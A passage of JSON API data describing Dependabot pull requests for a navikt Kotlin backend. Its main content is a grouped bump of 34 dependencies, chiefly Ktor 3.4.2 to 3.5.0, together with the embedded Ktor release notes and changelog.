Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/aap-postmottak-backend/pull/718","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Faap-postmottak-backend/issues/718","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/718/packages"},{"uuid":"4563268424","node_id":"PR_kwDOLCLkK87hXpz6","number":91,"state":"closed","title":"Bump the minor-and-patch group across 1 directory with 34 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-05T05:24:57.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-01T12:57:40.000Z","updated_at":"2026-06-05T05:24:58.000Z","time_to_close":318437,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor-and-patch","update_count":34,"packages":[{"name":"io.ktor:ktor-server-core-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-call-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-config-yaml","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-encoding","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-okhttp-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-mock","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"no.nav.security:token-validation-ktor-v3","old_version":"6.0.5","new_version":"6.0.8","repository_url":"https://github.com/navikt/token-support"},{"name":"io.micrometer:micrometer-registry-prometheus","old_version":"1.16.4","new_version":"1.16.5","repository_url":"https://github.com/micrometer-metrics/micrometer"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.32","new_version":"1.5.33","repository_url":"https://github.com/qos-ch/logback"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"12.3.0","new_version":"12.7.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.3.0","new_version":"12.7.0"},{"name":"org.jetbrains.exposed:exposed-core","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-dao","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-jdbc","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-kotlin-datetime","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.kotlin:kotlin-test-junit","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"jvm","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"io.ktor.plugin","old_version":"3.4.2","new_version":"3.5.0"},{"name":"org.jetbrains.kotlin.plugin.serialization","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor-and-patch group with 34 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-server-core-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-call-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-netty-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-config-yaml](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-encoding](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-okhttp-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-mock](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [no.nav.security:token-validation-ktor-v3](https://github.com/navikt/token-support) | `6.0.5` | `6.0.8` |\n| [io.micrometer:micrometer-registry-prometheus](https://github.com/micrometer-metrics/micrometer) | `1.16.4` | `1.16.5` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.32` | `1.5.33` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-core | `12.3.0` | `12.7.0` |\n| org.flywaydb:flyway-database-postgresql | `12.3.0` | `12.7.0` |\n| [org.jetbrains.exposed:exposed-core](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-dao](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-jdbc](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-kotlin-datetime](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.kotlin:kotlin-test-junit](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [jvm](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| io.ktor.plugin | `3.4.2` | `3.5.0` |\n| [org.jetbrains.kotlin.plugin.serialization](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n\n\nUpdates `io.ktor:ktor-server-core-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 